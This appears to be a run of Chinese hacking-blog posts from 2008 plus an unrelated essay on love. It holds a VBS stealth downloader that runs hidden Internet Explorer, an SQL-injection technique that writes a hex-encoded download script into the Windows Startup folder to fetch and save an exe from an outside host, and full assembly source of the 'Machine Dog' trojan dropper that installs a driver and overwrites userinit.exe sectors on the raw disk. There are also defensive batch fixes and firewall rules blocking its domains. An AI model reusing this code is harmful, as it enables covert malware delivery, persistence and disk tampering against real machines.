为了让IE把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,IE临时文件的位置可以从注册表键值 HKLMSoftwareMicrosoftWindowsCurrentVersionInternet SettingsCachepathsDirectory 中读取。[code]

'=============================
' get.vbs
' by lake2
'=============================

If WScript.Arguments.Count <> 3 Then
WScript.Echo ""
WScript.Echo "======= The Secret Downloader 0.1 ================"
WScript.Echo " by lake2 "
WScript.Echo "Usage: CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.xxx.com/lake.htm 520.exe c:520.exe"
WScript.Echo "=================================================="
WScript.Quit
End If

URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
tmp = Left(exeName,InStrRev(exeName, ".")-1)
tmp2 = Right(exeName,Len(exeName) – InStrRev(exeName, ".") + 1)
FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)

set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL

WScript.Echo "[+]Create and Exec IE to your HTTP Server …"
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file …"
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLMSoftwareMicrosoftWindowsCurrentVersionInternet SettingsCachepathsDirectory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail :("

Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&""&f1.name&""&FindFileName) Then
FSO.CopyFile path&""&f1.name&""&FindFileName, LocalName
WScript.Echo "[+]Download Success !"
WScript.Quit
End If
ShowAllFile path&""&f1.name
Next
Set FSO = Nothing
End Sub
[/code]

使用方法:
1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:

2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径

例子:CScript get.vbs http://www.xxx.com/get.htm whoami.exe c:who.exe

二月 21st, 2008

Posted In: 未分类

DB权限FUCK SYSTEM
alter database w37910com set RECOVERY FULL– //打开开关
create table cmd (a image)– //新建一个名为CMD的表和一个名为A的字段
backup log w37910com to disk = 'c:cmd1' with init– //备份到C盘
insert into cmd(a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E33373931302E636F6D2F312E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E766273200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022312E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A74200D0A)–
(关键是在这里这里他妈的0D0A在16进制里面就是回车符的意思我肏可能有兄弟问130a0d0A是什么意思?这他妈的意思就是DOUBLE回车。后面的0D0A也是一个回车这他妈都是怕有垃圾字符
echo Set P=createObject("Microsoft.XMLHTTP")>k.vbs
echo P.Open "GET","http://www.37910.com/1.exe",0 >>k.vbs
echo P.Send():set G=createObject("ADODB.Stream")>>k.vbs
echo G.Mode=3:G.Type=1:G.Open() >>k.vbs
echo G.Write P.ResponseBody:G.SaveToFile "1.exe",2 >>k.vbs
k.vbs
t
注意这段代码上面是两个回车 下面一个回车)
backup log w37910com to disk = 'C:Documents and SettingsAll Users「开始」菜单程序启动1.bat'–//主角备份到这个目录
drop table cmd–

二月 21st, 2008

Posted In: 未分类

[code][/code]

二月 20th, 2008

Posted In: 未分类

工作原理:

机器狗本身会释放出一个pcihdd.sys到drivers目录,pcihdd.sys是一个底层硬盘驱动,提高自己的优先级接替还原卡或冰点的硬盘驱动,然后访问指定的网址,这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器,最可怕的是,会通过内部网络传播,一台中招,能引发整个网络的电脑全部自动重启。
重点是,一个病毒,如果以hook方式入侵系统,接替硬盘驱动的方式效率太低了,而且毁坏还原的方式这也不是最好的,还有就是这种技术应用范围非常小,只有还原技术厂商范围内有传播,在这方面国际上也只有中国在用,所以,很可能就是行业内杠。
对于网吧而言,机器狗就是剑指网吧而来,针对所有的还原产品设计,可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现,发稿之日起,各大杀毒软件都以能查杀。

免疫补丁之争:

现在的免疫补丁之数是疫苗形式,以无害的样本复制到drivers下,欺骗病毒以为本身以运行,起到阻止危害的目的。这种形式的问题是,有些用户为了自身安全会在机器上运行一些查毒程序(比如QQ医生之类)。这样疫苗就会被误认为是病毒,又要废很多口舌。

解决之道:

最新的解决方案是将system32/drivers目录单独分配给一个用户,而不赋予administror修改的权限。虽然这样能解决,但以后安装驱动就是一件头疼的事了。
来彻底清除该病毒,处理后重启一下电脑就可以了,之前要打上补丁!
或者这样:
1注册表,组策略中禁止运行userinit.exe 进程
2 在启动项目中加入批处理
A : 强制结束userinit.exe进程 Taskkill /f /IM userinit.exe (其中“/IM”参数后面为进程的图像名,这命令只对XP用户有效)
B : 强制删除userinit.exe文件 DEL /F /A /Q %SystemRoot%system32userinit.exe
C : 创建userinit.exe免疫文件到%SystemRoot%system32
命令:[code]

md %SystemRoot%system32userinit.exe >nul 2>nul[/code]

或者[code]

md %SystemRoot%system32userinit.exe
attrib +s +r +h +a %SystemRoot%system32userinit.exe
D : reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsuserinit.exe" /v debugger /t reg_sz /d debugfile.exe /f
[/code]
userinit1.exe是正常文件改了名字,多加了一个1,你也可以自己修改,不过要手动修改这4个注册表,并导出,这个批处理才能正常使用。

最新动向

好像机器狗的开发以停止了,从样本放出到现在也没有新的版本被发现,这到让我们非常担心,因为虽着研究的深入,现在防御的手段都是针对病毒工作原理的,一但机器狗开始更新,稍加改变工作原理就能大面积逃脱普遍的防御手段,看来机器狗的爆发只是在等待,而不是大家可以高枕了。
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。
机器狗是一个木马下载器,感染后会自动从网络上下载木马、病毒,危及用户帐号的安全。
机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件,与原系统中还原软件驱动进行硬盘控制权的争夺,并通过替换userinit.exe文件,实现开机启动。
>> 那么如何识别是否已中毒呢?
是否中了机器狗的关键就在 Userinit.exe 文件,该文件在系统目录的 system32 文件夹中,点击右键查看属性,如果在属性窗口中看不到该文件的版本标签的话,说明已经中了机器狗。如果有版本标签则正常。

临时解决办法:

一是在路由上封IP:
ROS脚本,要的自己加上去 [code]

/ ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content=www.tomwg.com action=reject [/code]
二是在c:windowssystem32drivers下建立免疫文件: pcihdd.sys ,
三是把他要修改的文件在做母盘的时候,就加壳并替换。
在%systemroot%system32drivers目录下 建立个 明字 为 pcihdd.sys 的文件夹 设置属性为 任何人禁止
批处理 [code]

md %systemroot%system32driverspcihdd.sys
cacls %systemroot%system32driverspcihdd.sys /e /p everyone:n
cacls %systemroot%system32userinit.exe /e /p everyone:r
exit [/code]

目前,网络流行以下解决方法,或者可以在紧急情况下救急:
1、首先在系统system32下复制个无毒的userinit.exe,文件名为FUCKIGM.exe(文件名可以任意取),这就是下面批处理要指向执行的文件!也就是开机启动userinit.exe的替代品!而原来的userinit.exe保留!其实多复制份的目的只是为了多重保险!可能对防止以后变种起到一定的作用。
2、创建个文件名为userinit.bat的批处理(文件名也可任意取,但要和下面说到的注册表键值保持一致即可),内容如下:
start FUCKIGM.exe (呵呵,够简单吧?)
3、修改注册表键值,将userinit.exe改为userinit.bat。内容如下: [code]

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]
"Userinit"="C:\WINDOWS\system32\userinit.bat," [/code]

就这3步,让这条狗再也凶不起来!这是在windows 2003测试的,双击机器狗后,没什么反应,对比批处理也是正常,即这狗根本没改动它!开关机游戏均无异常!但唯一美中不足的是,采用经典模式开机的启动时会出现个一闪而过的黑框!
如果嫌麻烦,也不要紧。上面三条批处理网友已搞好了,直接复制下面的这个存为批处理执行就OK了。三步合二为一 [code]

@echo off
:::直接复制系统system32下的无毒userinit.exe为FUCKIGM.exe
cd /d %SystemRoot%system32
copy /y userinit.exe FUCKIGM.exe >nul
:::创建userinit.bat
echo @echo off >>userinit.bat
echo start FUCKIGM.exe >>userinit.bat
:::注册表操作
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit / t REG_SZ /d "C:WINDOWSsystem32userinit.bat," /f >nul
:::删掉自身(提倡环保)
del /f /q %0 [/code]
当然,如果实在不行,下载程序killigm。然后直接解压运行里面的程序:机器狗免疫补丁.bat 执行就可以了.
网上流传的另一种新的变种的防止方法 :
开始菜单运行.输入CMD [code]
cd ……到drivers
md pcihdd.sys
cd pcihdd.sys
md 1… [/code]
可防止最新变种。请注意:此法只能是防止,对于杀机器狗还得靠最新的杀毒程序才行。
针对该病毒,反病毒专家建议广大用户及时升级杀毒软件病毒库,补齐系统漏洞,上网时确保打开“网页监控”、“邮件监控”功能;禁用系统的自动播放功能,防止病毒从U盘、MP3、移动硬盘等移动存储设备进入到计算机;登录网游账号、网络银行账户时采用软键盘输入账号及密码

代码如下:[code]

.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib

.data
Text db '对不起,驱动程序的加载没有成功,程序将无法运行.',0
FileName db '\.PhysicalHardDisk0',0
a_Physicaldrive db '\.PhysicalDrive0',0
aFCJ db '分配内存不成功',0
OutputString db '操作成功', 0
Dst db 10Ch dup(0)
hModule dd 0
ERR1 db '寻址文件不成功',0
ERR2 db '不支持的磁盘分区',0
ERR3 db '第一个分区不是启动分区',0
ERR4 db '该文件是压缩文件,不能操作',0
ERR5 db '获取文件原始信息失败',0
ERR6 db '打开文件失败',0
ERR7 db '加载驱动失败',0

.code

Src db '%SystemRoot%system32driverspcihdd.sys',0
ServiceName db 'PciHdd',0

;**********************************************************************************************
;退出服务,并删除文件badwolf祝福你好运!
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte

push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFail
mov hSCManager, eax

push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OpenServiceFail
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService

push hSCObject ; hService
call DeleteService

push hSCObject ; hSCObject
call CloseServiceHandle

OpenServiceFail: ; hSCObject
push hSCManager
call CloseServiceHandle

OpenSCManagerFail: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\system32\drivers\pcihdd.sys"
call ExpandEnvironmentStringsA

lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
QuitService endp

;**********************************************************************************************
;从资源中加载二进制内容写入文件,并将文件写入环境变量,然后启动服务,最后去掉环境变量,删除文件
;**********************************************************************************************
LoadServiceFromRes proc

LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten

push 3E9h ; lpType
push 3E9h ; lpName
push hModule ; hModule
call FindResourceA
or eax, eax
jz failed

mov hResInfo, eax
push eax ; hResInfo
push hModule ; hModule
call SizeofResource
mov nNumberOfBytesToWrite, eax

push hResInfo ; hResInfo
push hModule ; hModule
call LoadResource
or eax, eax
jz failed

push eax ; hResData
call LockResource
or eax, eax
jz failed
mov lpBuffer, eax

failed:
or eax, eax
jnz CONTINUE
jmp Exit

CONTINUE: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\system32\drivers\pcihdd.sys"
call ExpandEnvironmentStringsA

push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, @FileName
push eax ; lpFileName
call CreateFileA
cmp eax, 0FFFFFFFFh
jnz short CreateFILEOK
jmp Exit

CreateFILEOK:
mov hObject, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hObject ; hFile
call WriteFile

push hObject ; hFile
call SetEndOfFile

push hObject ; hFile
call FlushFileBuffers
push hObject ; hObject
call CloseHandle

push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFailed
mov hSCManager, eax

push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz CreateServiceFailed
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE

CreateServiceFailed:
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz short OpenServiceFailed
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle

OpenServiceFailed:
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz QUIT
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE

QUIT:
jmp Exit

OPENSERVICE:
push 10h ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OPENSERVICEFAILED
mov hSCObject, eax
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push hSCObject ; hService
call StartServiceA
or eax, eax
jnz StartServiceOK
jmp Exit

StartServiceOK: ; hSCObject
push hSCObject
call CloseServiceHandle
push hSCManager ; hSCObject
call CloseServiceHandle
jmp OpenSCManagerFailed

OPENSERVICEFAILED:
push hSCManager
call CloseServiceHandle
jmp Exit

OpenSCManagerFailed: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\system32\drivers\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret

Exit:
push 10h
push 0 ; lpCaption
push offset Text ; "出错"
push 0 ; hWnd
call MessageBoxA
push 0 ; uExitCode
call ExitProcess
LoadServiceFromRes endp

aSystemrootSyst db '%SystemRoot%System32Userinit.exe',0
;***************************************************************************************************************
;簇是磁盘使用的基本单元。 组成一个簇的扇区数总是2的幂数,当卷被格式化时此数值是固定的。 此数值称为簇要素,
;通常用字节引用,如8KB,2KB。 NTFS通过每件事的逻辑簇数来寻址。
;逻辑簇数(LCN):卷里的每个簇都给定了一个顺序号,这是它的逻辑簇数。LCN0(零)指向卷的第一个簇(引导扇区)。
; 用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;实际簇数(VCN):一个非常驻的流的每个簇都给定了一个顺序号,这是它的实际簇数。VCN0(零)指向这个流的第一个簇。
; 要定位磁盘上的流,就必须把VCN转换成LCN.这是在数据运转的帮助下完成的。
;
;数据运转:每个LCN的连续模块都被赋予了一个数据运转,它包含一个VCN,一个LCN和一个长度。
; 当NTFS需要在磁盘上找到一个对象时,就查看数据运转中的VCN来得到LCN。

;其他信息:
; 1)当卷被格式化时可以选择簇的大小。
; 2)一个卷的簇的大小存储在$Boot里。也定义了此值在一个MFT文件记录和一个索引记录的簇里。
; 3)如果扇区数在用,NTFS通过引用簇数可以寻址更大的磁盘。

;下面是一个关于允许和默认簇的大小的列表:

;Windows NT
; 512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
; 512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB

;卷的大小 默认的簇的大小
;< 512MB Sector size ;< 1GB 1KB ;< 2GB 2KB ;> 2GB 4KB
;***************************************************************************************************************
DoMyWork proc lpFileName ;成功返回值为0

LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh:DWORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject

pusha
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset FileName ; "\\.\PhysicalHardDisk0" 是pcihdd.sys创建的符号链接
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateFileFailed
mov hDevice, eax

push 0 ; hTemplateFile
push 20000000h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push lpFileName ; 打开userinit.exe
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateUserInitFileFailed
mov hObject, eax

push 8
lea eax,InBuffer
push eax
call RtlZeroMemory

push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
or eax, eax
jz DeviceIoControlFailed

;这个结构是8字节对齐的,结构长度32字节
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;

lea edi, OutBuffer ;OutBuffer是上面结构体指针
mov ebx, [edi] ;ExtentCount = Extents数组元素个数
lea edi, [edi+10h] ;指向Extents数组首地址,根据字节对齐
mov eax, DistanceToMoveHigh
or ebx, ebx ;判断ExtentCount是否为0
jz ExtentCountIsZero

mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA

mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;读取userinit文件开头512字节

push hObject ; hObject
call CloseHandle
mov hObject, 0 ;关闭文件

push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "\\.\PhysicalDrive0"
call CreateFileA ;打开物理硬盘读写
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax

push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读取硬盘主引导分区MBR
;
; 0000 |————————————————|
; | |
; | |
; | Master Boot Record |
; | |
; | |
; | 主引导记录(446字节) |
; | |
; | |
; | |
; 01BD | |
; 01BE |————————————————|
; | |
; 01CD | 分区信息 1(16字节) |
; 01CE |————————————————|
; | |
; 01DD | 分区信息 2(16字节) |
; 01DE |————————————————|
; | |
; 01ED | 分区信息 3(16字节) |
; 01EE |————————————————|
; | |
; 01FD | 分区信息 4(16字节) |
; |————————————————|
; | 01FE | 01FF |
; | 55 | AA |
; |————————————————|
;分区表
;
; 分区表是一个链表,主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求, 因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。
;
; 主分区表是从主引导扇区第0x1BE字节开始的,共64个字节,最后是0x55AA。64个字节的分区信息分为四组,每16字节为一组。每组的数据结构是这样的:
;
;typedef struct
;{
; BYTE byState;//分区状态, 0 = 未激活, 0x80 = 激活
; BYTE byBeginHead;//分区起始磁头号
; WORD wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位
; BYTE byFSID; //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
; BYTE byEndHead;//分区结束磁头号
; WORD wEndSC;//分区结束扇区和柱面号
; DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址
; DWORD dwSectors;//分区大小 (总扇区数)
;} INFOAREA_PARAM;//磁盘的分区信息

lea edi, PhysicalBuff
cmp byte ptr [edi+1BEh], 80h ;byState判断是否为活动分区
jnz NOTACTIVEDISK
movzx ebx, byte ptr [edi+1C2h] ;byFSID判断分区类型
cmp ebx, 0Bh
jz FAT32 ;Win95 FAT32
cmp ebx, 0Ch
jz FAT32 ;Win95 FAT32 LBA
cmp ebx, 7
jnz NTFS ;HPFS/NTFS

FAT32:
mov eax, [edi+1C6h] ;C盘起始扇区(首扇区的相对扇区号)
mov StartSectorC, eax
xor edx, edx
imul eax, 200h ;求出实际的字节偏移
mov DistanceToMoveHigh, edx
mov ecx, eax

push 0 ; dwMoveMethod
lea eax, DistanceToMoveHigh
push eax ; lpDistanceToMoveHigh
push ecx ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;定位到硬盘C盘起始扇区的绝对位置

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读硬盘C盘起始扇区 即:第一个分区的引导扇区BPB

lea edi, PhysicalBuff
movzx eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量
add StartSectorC, eax
cmp ebx, 0Bh ;Win95 FAT32
jz WIN95FAT32
cmp ebx, 0Ch ;Win95 FAT32 LBA
jnz short FAT32LBA

WIN95FAT32:
movzx ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数
mov eax, [edi+24h] ; BPB_FATSz32 = 每个FAT占用扇区数
xor edx, edx
imul eax, ecx
add StartSectorC, eax ;数据记录起始扇区

FAT32LBA:
mov eax, dwLowPartofLcn
mov edx, dwHighPartofLcn
movzx ecx, byte ptr [edi+0Dh] ;BPB_SecPerClus = 每簇多少扇区
mov nNumberOfBytesToWrite, ecx
imul eax, ecx
add eax, StartSectorC
adc edx, 0
imul eax, 200h ;求出绝对偏移字节位置
mov HighOffset, edx ;偏移高32位
mov lDistanceToMove, eax ;低32位

push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;在找到的硬盘扇区读

lea edi, PhysicalBuff
lea esi, Buffer
mov ecx, 200h
repe cmpsb ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据,确定定位是否正确

or ecx, ecx
jnz DIFF

push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;重新定位到上面找到的硬盘扇区处

mov eax, nNumberOfBytesToWrite
shl eax, 9 ;这个值是作者估算的
mov nNumberOfBytesToWrite, eax

push nNumberOfBytesToWrite ; dwBytes
push 40h ; uFlags
call GlobalAlloc
or eax, eax
jz ALLOCMEMORYFAILED
mov lpBuffer,eax

mov ecx, offset MessageBoxA
sub ecx, offset Src ; "%SystemRoot%\system32\drivers\pcihdd.sys"

;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push nNumberOfBytesToWrite ; nOutBufferSize
push lpBuffer ; lpOutBuffer
push ecx ; nInBufferSize
push offset Src ; "%SystemRoot%\system32\drivers\pcihdd.sys"
push 0F0003C04h ; dwIoControlCode
push hDevice ; hDevice
call DeviceIoControl

;并将pcihdd返回的数据直接写入userinit.exe的第一簇
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hFile ; hFile
call WriteFile

push hFile ; hFile
call FlushFileBuffers
mov dwRet, 0
jmp OVER

ALLOCMEMORYFAILED:
; "分配内存不成功"
mov dwRet, offset aFCJ

OVER: ; hMem
push lpBuffer
call GlobalFree
jmp FINISHED

DIFF:
mov dwRet, offset ERR1
jmp FINISHED

NTFS:
mov dwRet, offset ERR2
jmp FINISHED

NOTACTIVEDISK:
mov dwRet, offset ERR3

FINISHED: ; hObject
push hFile
call CloseHandle
jmp OPENPHYSICSFAILED

FEIHUA:
mov dwRet, offset ERR4

OPENPHYSICSFAILED: ;打开硬盘设备失败
jmp ExtentCountIsZero

DeviceIoControlFailed:
mov dwRet, offset ERR5

ExtentCountIsZero:
cmp hObject, 0
jz ZeroObject
push hObject ; hObject
call CloseHandle
jmp ZeroObject

CreateUserInitFileFailed:
mov dwRet, offset ERR6

ZeroObject: ; hObject
push hDevice
call CloseHandle
jmp EXIT

CreateFileFailed:
mov dwRet, offset ERR7

EXIT:
popa
mov eax, dwRet
ret
DoMyWork endp

start proc
push 0 ; lpModuleName
call GetModuleHandleA
mov hModule, eax
call LoadServiceFromRes ;load service from resource

push 100h ; nSize
push offset Dst ; lpDst
push offset aSystemrootSyst ; "%SystemRoot%\System32\Userinit.exe"
call ExpandEnvironmentStringsA

push offset Dst ; lpFileName
call DoMyWork
or eax, eax
jnz FAILED
push offset OutputString ;
call OutputDebugStringA
jmp Exit

FAILED: ; lpOutputString
push eax
call OutputDebugStringA

Exit:
call QuitService
push 0 ; uExitCode
call ExitProcess
start endp

end start[/code]

二月 20th, 2008

Posted In: 未分类

如果你在一生里遇见了你心爱的人,可以说你是幸运的,无论结局怎样,都可以说是幸福的吧?白头到老,固然很好,如果分手了,或者为爱情而伤心,也都是很幸福,毕竟你爱过,你为了爱情在落泪,为了爱情在心碎,曾经很浪漫过,两个人可以在冬天的风下疯狂,在夏天的雨下漫步,即使当初的恋人已经远去但恋爱时的浪漫情节依然在你的心里埋藏,这不也是一件很快乐的事情吗?

  记得一本书中说过,一个人无论她陪你走了多远的路,最终她还是会和你分开的,毕竟很少有那些同一时刻出生的人,而一起走到老的人,不但有感情中的离别还有生与死的离别,如果这样想了,你即使分手了,你也不会那么伤心,反而会祝福对方幸福。如果老了哪天相遇,将会有另一番滋味在心头。
